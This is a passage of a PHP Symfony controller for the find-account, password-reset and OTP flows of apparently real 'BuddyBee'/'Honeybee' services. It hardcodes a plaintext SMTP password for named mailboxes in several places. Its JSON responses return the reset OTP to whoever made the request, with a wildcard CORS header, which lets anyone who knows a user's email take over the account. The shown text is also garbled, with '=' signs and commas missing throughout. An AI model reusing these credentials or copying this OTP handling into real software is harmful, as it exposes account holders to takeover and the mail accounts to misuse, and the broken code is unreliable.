  8483.                     $email_twig_data['success'] = true;
  8484.                 } else {
  8485.                     $message "Oops! Could not find your account";
  8486.                     $email_twig_data['success'] = false;
  8487.                 }
  8488.             } else if ($systemType == '_BUDDYBEE_') {
  8489.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8490.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8491.                     array(
  8492.                         'email' => $email_address
  8493.                     )
  8494.                 );
  8495.                 if ($userObj) {
  8496.                 } else {
  8497.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8498.                         array(
  8499.                             'oAuthEmail' => $email_address
  8500.                         )
  8501.                     );
  8502.                     if ($userObj) {
  8503.                     } else {
  8504.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8505.                             array(
  8506.                                 'username' => $email_address
  8507.                             )
  8508.                         );
  8509.                     }
  8510.                 }
  8511.                 if ($userObj) {
  8512.                     $email_address $userObj->getEmail();
  8513.                     if ($email_address == null || $email_address == '')
  8514.                         $email_address $userObj->getOAuthEmail();
  8515.                     //                    triggerResetPassword:
  8516. //                    type: integer
  8517. //                          nullable: true
  8518.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8519.                     $otp $otpData['otp'];
  8520.                     $otpExpireTs $otpData['expireTs'];
  8521.                     $userObj->setOtp($otpData['otp']);
  8522.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8523.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8524.                     $em_goc->flush();
  8525.                     $userData = array(
  8526.                         'id' => $userObj->getApplicantId(),
  8527.                         'email' => $email_address,
  8528.                         'appId' => 0,
  8529.                         'image' => $userObj->getImage(),
  8530.                         'firstName' => $userObj->getFirstname(),
  8531.                         'lastName' => $userObj->getLastname(),
  8532.                         'phone' => $userObj->getPhone(),
  8533. //                        'appId'=>$userObj->getUserAppId(),
  8534.                     );
  8535.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8536.                     $email_twig_data = [
  8537.                         'page_title' => 'Find Account',
  8538.                         'encryptedData' => $encryptedData,
  8539.                         'message' => $message,
  8540.                         'userType' => $userType,
  8541.                         'errorField' => $errorField,
  8542.                         'otp' => $otpData['otp'],
  8543.                         'otpExpireSecond' => $otpExpireSecond,
  8544.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8545.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8546.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8547.                         'otpExpireTs' => $otpData['expireTs'],
  8548.                         'systemType' => $systemType,
  8549.                         'userCategory' => $userCategory,
  8550.                         'userData' => $userData
  8551.                     ];
  8552.                     $email_twig_data['success'] = true;
  8553.                 } else {
  8554.                     $message "Oops! Could not find your account";
  8555.                     $email_twig_data['success'] = false;
  8556.                 }
  8557.             }
  8558.             if ($email_twig_data['success'] == true && GeneralConstant::EMAIL_ENABLED == 1) {
  8559.                 if ($systemType == '_BUDDYBEE_') {
  8560.                     $bodyHtml '';
  8561.                     $bodyTemplate $email_twig_file;
  8562.                     $bodyData $email_twig_data;
  8563.                     $attachments = [];
  8564.                     $forwardToMailAddress $email_address;
  8565. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8566.                     $new_mail $this->get('mail_module');
  8567.                     $new_mail->sendMyMail(array(
  8568.                         'senderHash' => '_CUSTOM_',
  8569.                         //                        'senderHash'=>'_CUSTOM_',
  8570.                         'forwardToMailAddress' => $forwardToMailAddress,
  8571.                         'subject' => 'Account Verification',
  8572. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8573.                         'attachments' => $attachments,
  8574.                         'toAddress' => $forwardToMailAddress,
  8575.                         'fromAddress' => 'no-reply@buddybee.eu',
  8576.                         'userName' => 'no-reply@buddybee.eu',
  8577.                         'password' => 'Honeybee@0112',
  8578.                         'smtpServer' => 'smtp.hostinger.com',
  8579.                         'smtpPort' => 465,
  8580. //                            'emailBody' => $bodyHtml,
  8581.                         'mailTemplate' => $bodyTemplate,
  8582.                         'templateData' => $bodyData,
  8583. //                        'embedCompanyImage' => 1,
  8584. //                        'companyId' => $companyId,
  8585. //                        'companyImagePath' => $company_data->getImage()
  8586.                     ));
  8587.                 } else if ($systemType == '_CENTRAL_') {
  8588.                     $bodyHtml '';
  8589.                     $bodyTemplate $email_twig_file;
  8590.                     $bodyData $email_twig_data;
  8591.                     $attachments = [];
  8592.                     $forwardToMailAddress $email_address;
  8593. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8594.                     $new_mail $this->get('mail_module');
  8595.                     $new_mail->sendMyMail(array(
  8596.                         'senderHash' => '_CUSTOM_',
  8597.                         //                        'senderHash'=>'_CUSTOM_',
  8598.                         'forwardToMailAddress' => $forwardToMailAddress,
  8599.                         'subject' => 'Account Verification',
  8600. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8601.                         'attachments' => $attachments,
  8602.                         'toAddress' => $forwardToMailAddress,
  8603.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8604.                         'userName' => 'accounts@ourhoneybee.eu',
  8605.                         'password' => 'Honeybee@0112',
  8606.                         'smtpServer' => 'smtp.hostinger.com',
  8607.                         'smtpPort' => 465,
  8608. //                            'emailBody' => $bodyHtml,
  8609.                         'mailTemplate' => $bodyTemplate,
  8610.                         'templateData' => $bodyData,
  8611. //                        'embedCompanyImage' => 1,
  8612. //                        'companyId' => $companyId,
  8613. //                        'companyImagePath' => $company_data->getImage()
  8614.                     ));
  8615.                 } else {
  8616.                     $bodyHtml '';
  8617.                     $bodyTemplate $email_twig_file;
  8618.                     $bodyData $email_twig_data;
  8619.                     $attachments = [];
  8620.                     $forwardToMailAddress $email_address;
  8621. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8622.                     $new_mail $this->get('mail_module');
  8623.                     $new_mail->sendMyMail(array(
  8624.                         'senderHash' => '_CUSTOM_',
  8625.                         //                        'senderHash'=>'_CUSTOM_',
  8626.                         'forwardToMailAddress' => $forwardToMailAddress,
  8627.                         'subject' => 'Applicant Registration on Honeybee',
  8628. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8629.                         'attachments' => $attachments,
  8630.                         'toAddress' => $forwardToMailAddress,
  8631.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8632.                         'userName' => 'accounts@ourhoneybee.eu',
  8633.                         'password' => 'Honeybee@0112',
  8634.                         'smtpServer' => 'smtp.hostinger.com',
  8635.                         'smtpPort' => 465,
  8636.                         'emailBody' => $bodyHtml,
  8637.                         'mailTemplate' => $bodyTemplate,
  8638.                         'templateData' => $bodyData,
  8639. //                        'embedCompanyImage' => 1,
  8640. //                        'companyId' => $companyId,
  8641. //                        'companyImagePath' => $company_data->getImage()
  8642.                     ));
  8643.                 }
  8644.             }
  8645.             if ($email_twig_data['success'] == true && GeneralConstant::NOTIFICATION_ENABLED == && $userData['phone'] != '' && $userData['phone'] != null) {
  8646.                 if ($systemType == '_BUDDYBEE_') {
  8647.                     $searchVal = ['_OTP_''_EXPIRE_MINUTES_''_APPEND_CODE_'];
  8648.                     $replaceVal = [$otpfloor($otpExpireSecond 60), $appendCode];
  8649.                     $msg 'Use OTP _OTP_ for BuddyBee. Your OTP will expire in _EXPIRE_MINUTES_ minutes
  8650.                      _APPEND_CODE_';
  8651.                     $msg str_replace($searchVal$replaceVal$msg);
  8652.                     $emitMarker '_SEND_TEXT_TO_MOBILE_';
  8653.                     $sendType 'all';
  8654.                     $socketUserIds = [];
  8655.                     System::SendSmsBySocket($this->container->getParameter('notification_enabled'), $msg$userData['phone'], $emitMarker$sendType$socketUserIds);
  8656.                 } else {
  8657.                 }
  8658.             }
  8659.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8660.                 $response = new JsonResponse(array(
  8661.                         'templateData' => $twigData,
  8662.                         'message' => $message,
  8663. //                        "otp"=>'',
  8664.                         "otp" => $otp,
  8665.                         "otpExpireTs" => $otpExpireTs,
  8666.                         'actionData' => $email_twig_data,
  8667.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8668.                     )
  8669.                 );
  8670.                 $response->headers->set('Access-Control-Allow-Origin''*');
  8671.                 return $response;
  8672.             } else if ($email_twig_data['success'] == true) {
  8673.                 $encData = array(
  8674.                     "userType" => $userType,
  8675.                     "otp" => '',
  8676. //                "otp"=>$otp,
  8677.                     "otpExpireTs" => $otpExpireTs,
  8678.                     "otpActionId" => UserConstants::OTP_ACTION_CONFIRM_EMAIL,
  8679.                     "userCategory" => $userCategory,
  8680.                     "userId" => $userData['id'],
  8681.                     "systemType" => $systemType,
  8682.                     "email" => $email_address,
  8683.                 );
  8684.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  8685.                 $url $this->generateUrl(
  8686.                     'verify_otp'
  8687.                 );
  8688.                 return $this->redirect($url "/" $encDataStr);
  8689. //                return $this->redirectToRoute("verify_otp_forgot_password",[
  8690. ////                    'encData'
  8691. ////                'id' => $isApplicantExist->getApplicantId(),
  8692. ////                'oAuthData' => $oAuthData,
  8693. ////                'refRoute' => $refRoute,
  8694. //                ]);
  8695.             }
  8696.         }
  8697.         if ($systemType == '_ERP_') {
  8698.             if ($userCategory == '_APPLICANT_') {
  8699.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8700.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8701.                 $twigData = [
  8702.                     'page_title' => 'Find Account',
  8703.                     'encryptedData' => $encryptedData,
  8704.                     'message' => $message,
  8705.                     'systemType' => $systemType,
  8706.                     'ownServerId' => $ownServerId,
  8707.                     'userType' => $userType,
  8708.                     'errorField' => $errorField,
  8709.                 ];
  8710.             } else {
  8711.                 $userType UserConstants::USER_TYPE_GENERAL;
  8712.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8713.                 $twigData = [
  8714.                     'page_title' => 'Find Account',
  8715.                     'encryptedData' => $encryptedData,
  8716.                     'systemType' => $systemType,
  8717.                     'ownServerId' => $ownServerId,
  8718.                     'message' => $message,
  8719.                     'userType' => $userType,
  8720.                     'errorField' => $errorField,
  8721.                 ];
  8722.             }
  8723.         } else if ($systemType == '_SOPHIA_') {
  8724.             $userType UserConstants::USER_TYPE_APPLICANT;
  8725.             $twig_file '@Sophia/pages/views/sophia_verify_email.html.twig';
  8726.             $twigData = [
  8727.                 'page_title' => 'Find Account',
  8728.                 'encryptedData' => $encryptedData,
  8729.                 'systemType' => $systemType,
  8730.                 'ownServerId' => $ownServerId,
  8731.                 "otp" => '',
  8732. //                "otp"=>$otp,
  8733.                 "otpExpireTs" => $otpExpireTs,
  8734.                 'message' => $message,
  8735.                 'userType' => $userType,
  8736.                 'errorField' => $errorField,
  8737.             ];
  8738.         } else if ($systemType == '_CENTRAL_') {
  8739.             $userType UserConstants::USER_TYPE_APPLICANT;
  8740.             $twig_file '@HoneybeeWeb/pages/verify_email.html.twig';
  8741.             $twigData = [
  8742.                 'page_title' => 'Find Account',
  8743.                 'encryptedData' => $encryptedData,
  8744.                 'systemType' => $systemType,
  8745.                 'ownServerId' => $ownServerId,
  8746.                 "otp" => '',
  8747. //                "otp"=>$otp,
  8748.                 "otpExpireTs" => $otpExpireTs,
  8749.                 'message' => $message,
  8750.                 'userType' => $userType,
  8751.                 'errorField' => $errorField,
  8752.             ];
  8753.         } else if ($systemType == '_BUDDYBEE_') {
  8754.             $userType UserConstants::USER_TYPE_APPLICANT;
  8755.             $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8756.             $twigData = [
  8757.                 'page_title' => 'Find Account',
  8758.                 'encryptedData' => $encryptedData,
  8759.                 "otp" => '',
  8760.                 'systemType' => $systemType,
  8761.                 'ownServerId' => $ownServerId,
  8762. //                "otp"=>$otp,
  8763.                 "otpExpireTs" => $otpExpireTs,
  8764.                 'message' => $message,
  8765.                 'userType' => $userType,
  8766.                 'errorField' => $errorField,
  8767.             ];
  8768.         }
  8769.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8770.             $response = new JsonResponse(array(
  8771.                     'templateData' => $twigData,
  8772.                     'message' => $message,
  8773.                     "otp" => '',
  8774. //                "otp"=>$otp,
  8775.                     "otpExpireTs" => $otpExpireTs,
  8776.                     'actionData' => $email_twig_data,
  8777.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8778.                 )
  8779.             );
  8780.             $response->headers->set('Access-Control-Allow-Origin''*');
  8781.             return $response;
  8782.         } else {
  8783.             return $this->render(
  8784.                 $twig_file,
  8785.                 $twigData
  8786.             );
  8787.         }
  8788.     }
  8789.     public function FindAccountForAppAction(Request $request$encData ''$remoteVerify 0)
  8790.     {
  8791. //        $userCategory=$request->request->has('userCategory');
  8792.         $encryptedData = [];
  8793.         $errorField '';
  8794.         $message '';
  8795.         $userType '';
  8796.         $otpExpireSecond 180;
  8797.         $otpExpireTs 0;
  8798.         $otp '';
  8799.         if ($encData != '')
  8800.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  8801. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  8802.         $userCategory '_BUDDYBEE_USER_';
  8803.         if (isset($encryptedData['userCategory']))
  8804.             $userCategory $encryptedData['userCategory'];
  8805.         else
  8806.             $userCategory $request->request->get('userCategory''_BUDDYBEE_USER_');
  8807.         $em $this->getDoctrine()->getManager('company_group');
  8808.         $em_goc $this->getDoctrine()->getManager('company_group');
  8809.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  8810.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  8811.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8812.         $twigData = [];
  8813.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  8814.         $email_address $request->request->get('email''');
  8815.         $email_twig_data = [];
  8816.         $appendCode $request->request->get('appendCode'$request->query->get('appendCode'''));
  8817.         if ($request->isMethod('POST')) {
  8818.             //set an otp and its expire and send mail
  8819.             $email_address $request->request->get('email');
  8820.             $userObj null;
  8821.             $userData = [];
  8822.             if ($systemType == '_ERP_') {
  8823.                 if ($userCategory == '_APPLICANT_') {
  8824.                     $userType UserConstants::USER_TYPE_APPLICANT;
  8825.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8826.                         array(
  8827.                             'email' => $email_address
  8828.                         )
  8829.                     );
  8830.                     if ($userObj) {
  8831.                     } else {
  8832.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8833.                             array(
  8834.                                 'oAuthEmail' => $email_address
  8835.                             )
  8836.                         );
  8837.                         if ($userObj) {
  8838.                         } else {
  8839.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8840.                                 array(
  8841.                                     'username' => $email_address
  8842.                                 )
  8843.                             );
  8844.                         }
  8845.                     }
  8846.                     if ($userObj) {
  8847.                         $email_address $userObj->getEmail();
  8848.                         if ($email_address == null || $email_address == '')
  8849.                             $email_address $userObj->getOAuthEmail();
  8850.                     }
  8851. //                    triggerResetPassword:
  8852. //                    type: integer
  8853. //                          nullable: true
  8854.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8855.                     $otp $otpData['otp'];
  8856.                     $otpExpireTs $otpData['expireTs'];
  8857.                     $userObj->setOtp($otpData['otp']);
  8858.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8859.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8860.                     $em_goc->flush();
  8861.                     $userData = array(
  8862.                         'id' => $userObj->getApplicantId(),
  8863.                         'email' => $email_address,
  8864.                         'appId' => 0,
  8865. //                        'appId'=>$userObj->getUserAppId(),
  8866.                     );
  8867.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8868.                     $email_twig_data = [
  8869.                         'page_title' => 'Find Account',
  8870.                         'encryptedData' => $encryptedData,
  8871.                         'message' => $message,
  8872.                         'userType' => $userType,
  8873.                         'errorField' => $errorField,
  8874.                         'otp' => $otpData['otp'],
  8875.                         'otpExpireSecond' => $otpExpireSecond,
  8876.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8877.                         'otpExpireTs' => $otpData['expireTs'],
  8878.                         'systemType' => $systemType,
  8879.                         'userData' => $userData
  8880.                     ];
  8881.                     if ($userObj)
  8882.                         $email_twig_data['success'] = true;
  8883.                 } else {
  8884.                     $userType UserConstants::USER_TYPE_GENERAL;
  8885.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8886.                     $email_twig_data = [
  8887.                         'page_title' => 'Find Account',
  8888.                         'encryptedData' => $encryptedData,
  8889.                         'message' => $message,
  8890.                         'userType' => $userType,
  8891.                         'errorField' => $errorField,
  8892.                     ];
  8893.                 }
  8894.             } else if ($systemType == '_CENTRAL_') {
  8895.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8896.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8897.                     array(
  8898.                         'email' => $email_address
  8899.                     )
  8900.                 );
  8901.                 if ($userObj) {
  8902.                 } else {
  8903.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8904.                         array(
  8905.                             'oAuthEmail' => $email_address
  8906.                         )
  8907.                     );
  8908.                     if ($userObj) {
  8909.                     } else {
  8910.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8911.                             array(
  8912.                                 'username' => $email_address
  8913.                             )
  8914.                         );
  8915.                     }
  8916.                 }
  8917.                 if ($userObj) {
  8918.                     $email_address $userObj->getEmail();
  8919.                     if ($email_address == null || $email_address == '')
  8920.                         $email_address $userObj->getOAuthEmail();
  8921.                     //                    triggerResetPassword:
  8922. //                    type: integer
  8923. //                          nullable: true
  8924.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8925.                     $otp $otpData['otp'];
  8926.                     $otpExpireTs $otpData['expireTs'];
  8927.                     $userObj->setOtp($otpData['otp']);
  8928.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8929.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8930.                     $em_goc->flush();
  8931.                     $userData = array(
  8932.                         'id' => $userObj->getApplicantId(),
  8933.                         'email' => $email_address,
  8934.                         'appId' => 0,
  8935.                         'image' => $userObj->getImage(),
  8936.                         'firstName' => $userObj->getFirstname(),
  8937.                         'lastName' => $userObj->getLastname(),
  8938.                         'phone' => $userObj->getPhone(),
  8939. //                        'appId'=>$userObj->getUserAppId(),
  8940.                     );
  8941.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8942.                     $email_twig_data = [
  8943.                         'page_title' => 'Find Account',
  8944.                         'encryptedData' => $encryptedData,
  8945.                         'message' => $message,
  8946.                         'userType' => $userType,
  8947.                         'errorField' => $errorField,
  8948.                         'otp' => $otpData['otp'],
  8949.                         'otpExpireSecond' => $otpExpireSecond,
  8950.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8951.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8952.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8953.                         'otpExpireTs' => $otpData['expireTs'],
  8954.                         'systemType' => $systemType,
  8955.                         'userCategory' => $userCategory,
  8956.                         'userData' => $userData
  8957.                     ];
  8958.                     $email_twig_data['success'] = true;
  8959.                 } else {
  8960.                     $message "Oops! Could not find your account";
  8961.                     $email_twig_data['success'] = false;
  8962.                 }
  8963.             }
  8964.             if ($email_twig_data['success'] == true && GeneralConstant::EMAIL_ENABLED == 1) {
  8965.                 if ($systemType == '_CENTRAL_') {
  8966.                     $bodyHtml '';
  8967.                     $bodyTemplate $email_twig_file;
  8968.                     $bodyData $email_twig_data;
  8969.                     $attachments = [];
  8970.                     $forwardToMailAddress $email_address;
  8971. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8972.                     $new_mail $this->get('mail_module');
  8973.                     $new_mail->sendMyMail(array(
  8974.                         'senderHash' => '_CUSTOM_',
  8975.                         //                        'senderHash'=>'_CUSTOM_',
  8976.                         'forwardToMailAddress' => $forwardToMailAddress,
  8977.                         'subject' => 'Account Verification',
  8978. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8979.                         'attachments' => $attachments,
  8980.                         'toAddress' => $forwardToMailAddress,
  8981.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8982.                         'userName' => 'accounts@ourhoneybee.eu',
  8983.                         'password' => 'Honeybee@0112',
  8984.                         'smtpServer' => 'smtp.hostinger.com',
  8985.                         'smtpPort' => 465,
  8986. //                            'emailBody' => $bodyHtml,
  8987.                         'mailTemplate' => $bodyTemplate,
  8988.                         'templateData' => $bodyData,
  8989. //                        'embedCompanyImage' => 1,
  8990. //                        'companyId' => $companyId,
  8991. //                        'companyImagePath' => $company_data->getImage()
  8992.                     ));
  8993.                 } else {
  8994.                     $bodyHtml '';
  8995.                     $bodyTemplate $email_twig_file;
  8996.                     $bodyData $email_twig_data;
  8997.                     $attachments = [];
  8998.                     $forwardToMailAddress $email_address;
  8999. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  9000.                     $new_mail $this->get('mail_module');
  9001.                     $new_mail->sendMyMail(array(
  9002.                         'senderHash' => '_CUSTOM_',
  9003.                         //                        'senderHash'=>'_CUSTOM_',
  9004.                         'forwardToMailAddress' => $forwardToMailAddress,
  9005.                         'subject' => 'Applicant Registration on Honeybee',
  9006. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  9007.                         'attachments' => $attachments,
  9008.                         'toAddress' => $forwardToMailAddress,
  9009.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  9010.                         'userName' => 'accounts@ourhoneybee.eu',
  9011.                         'password' => 'Honeybee@0112',
  9012.                         'smtpServer' => 'smtp.hostinger.com',
  9013.                         'smtpPort' => 465,
  9014.                         'emailBody' => $bodyHtml,
  9015.                         'mailTemplate' => $bodyTemplate,
  9016.                         'templateData' => $bodyData,
  9017. //                        'embedCompanyImage' => 1,
  9018. //                        'companyId' => $companyId,
  9019. //                        'companyImagePath' => $company_data->getImage()
  9020.                     ));
  9021.                 }
  9022.             }
  9023.             if ($email_twig_data['success'] == true && GeneralConstant::NOTIFICATION_ENABLED == && $userData['phone'] != '' && $userData['phone'] != null) {
  9024.                 if ($systemType == '_BUDDYBEE_') {
  9025.                     $searchVal = ['_OTP_''_EXPIRE_MINUTES_''_APPEND_CODE_'];
  9026.                     $replaceVal = [$otpfloor($otpExpireSecond 60), $appendCode];
  9027.                     $msg 'Use OTP _OTP_ for BuddyBee. Your OTP will expire in _EXPIRE_MINUTES_ minutes
  9028.                      _APPEND_CODE_';
  9029.                     $msg str_replace($searchVal$replaceVal$msg);
  9030.                     $emitMarker '_SEND_TEXT_TO_MOBILE_';
  9031.                     $sendType 'all';
  9032.                     $socketUserIds = [];
  9033.                     System::SendSmsBySocket($this->container->getParameter('notification_enabled'), $msg$userData['phone'], $emitMarker$sendType$socketUserIds);
  9034.                 } else {
  9035.                 }
  9036.             }
  9037.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9038.                 $response = new JsonResponse(array(
  9039.                         'templateData' => $twigData,
  9040.                         'message' => $message,
  9041. //                        "otp"=>'',
  9042.                         "otp" => $otp,
  9043.                         "otpExpireTs" => $otpExpireTs,
  9044.                         'actionData' => $email_twig_data,
  9045.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9046.                     )
  9047.                 );
  9048.                 $response->headers->set('Access-Control-Allow-Origin''*');
  9049.                 return $response;
  9050.             } else if ($email_twig_data['success'] == true) {
  9051.                 $encData = array(
  9052.                     "userType" => $userType,
  9053.                     "otp" => '',
  9054. //                "otp"=>$otp,
  9055.                     "otpExpireTs" => $otpExpireTs,
  9056.                     "otpActionId" => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  9057.                     "userCategory" => $userCategory,
  9058.                     "userId" => $userData['id'],
  9059.                     "systemType" => $systemType,
  9060.                     "email" => $email_address,
  9061.                 );
  9062.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  9063.                 $url $this->generateUrl(
  9064.                     'verify_otp'
  9065.                 );
  9066.                 return $this->redirect($url "/" $encDataStr);
  9067. //                return $this->redirectToRoute("verify_otp_forgot_password",[
  9068. ////                    'encData'
  9069. ////                'id' => $isApplicantExist->getApplicantId(),
  9070. ////                'oAuthData' => $oAuthData,
  9071. ////                'refRoute' => $refRoute,
  9072. //                ]);
  9073.             }
  9074.         }
  9075.         if ($systemType == '_ERP_') {
  9076.             if ($userCategory == '_APPLICANT_') {
  9077.                 $userType UserConstants::USER_TYPE_APPLICANT;
  9078.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9079.                 $twigData = [
  9080.                     'page_title' => 'Find Account',
  9081.                     'encryptedData' => $encryptedData,
  9082.                     'message' => $message,
  9083.                     'systemType' => $systemType,
  9084.                     'ownServerId' => $ownServerId,
  9085.                     'userType' => $userType,
  9086.                     'errorField' => $errorField,
  9087.                 ];
  9088.             } else {
  9089.                 $userType UserConstants::USER_TYPE_GENERAL;
  9090.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9091.                 $twigData = [
  9092.                     'page_title' => 'Find Account',
  9093.                     'encryptedData' => $encryptedData,
  9094.                     'systemType' => $systemType,
  9095.                     'ownServerId' => $ownServerId,
  9096.                     'message' => $message,
  9097.                     'userType' => $userType,
  9098.                     'errorField' => $errorField,
  9099.                 ];
  9100.             }
  9101.         } else if ($systemType == '_CENTRAL_') {
  9102.             $userType UserConstants::USER_TYPE_APPLICANT;
  9103.             $twig_file '@HoneybeeWeb/pages/find_account.html.twig';
  9104.             $twigData = [
  9105.                 'page_title' => 'Find Account',
  9106.                 'encryptedData' => $encryptedData,
  9107.                 'systemType' => $systemType,
  9108.                 'ownServerId' => $ownServerId,
  9109.                 "otp" => '',
  9110. //                "otp"=>$otp,
  9111.                 "otpExpireTs" => $otpExpireTs,
  9112.                 'message' => $message,
  9113.                 'userType' => $userType,
  9114.                 'errorField' => $errorField,
  9115.             ];
  9116.         } else if ($systemType == '_BUDDYBEE_') {
  9117.             $userType UserConstants::USER_TYPE_APPLICANT;
  9118.             $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9119.             $twigData = [
  9120.                 'page_title' => 'Find Account',
  9121.                 'encryptedData' => $encryptedData,
  9122.                 "otp" => '',
  9123.                 'systemType' => $systemType,
  9124.                 'ownServerId' => $ownServerId,
  9125. //                "otp"=>$otp,
  9126.                 "otpExpireTs" => $otpExpireTs,
  9127.                 'message' => $message,
  9128.                 'userType' => $userType,
  9129.                 'errorField' => $errorField,
  9130.             ];
  9131.         }
  9132.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9133.             $response = new JsonResponse(array(
  9134.                     'templateData' => $twigData,
  9135.                     'message' => $message,
  9136.                     "otp" => '',
  9137. //                "otp"=>$otp,
  9138.                     "otpExpireTs" => $otpExpireTs,
  9139.                     'actionData' => $email_twig_data,
  9140.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9141.                 )
  9142.             );
  9143.             $response->headers->set('Access-Control-Allow-Origin''*');
  9144.             return $response;
  9145.         } else {
  9146.             return $this->render(
  9147.                 $twig_file,
  9148.                 $twigData
  9149.             );
  9150.         }
  9151.     }
  9152.     public function VerifyOtpAction(Request $request$encData ''$remoteVerify 0)
  9153.     {
  9154. //        $userCategory=$request->request->has('userCategory');
  9155.         $encryptedData = [];
  9156.         $errorField '';
  9157.         $message '';
  9158.         $userType '';
  9159.         $otpExpireSecond 180;
  9160.         $otpExpireTs 0;
  9161.         if ($encData != '')
  9162.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  9163. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  9164.         $otp = isset($encryptedData['otp']) ? $encryptedData['otp'] : 0;
  9165.         $email = isset($encryptedData['email']) ? $encryptedData['email'] : 0;
  9166.         $otpExpireTs = isset($encryptedData['otpExpireTs']) ? $encryptedData['otpExpireTs'] : 0;
  9167.         $otpActionId = isset($encryptedData['otpActionId']) ? $encryptedData['otpActionId'] : 0;
  9168.         $userId = isset($encryptedData['userId']) ? $encryptedData['userId'] : 0;
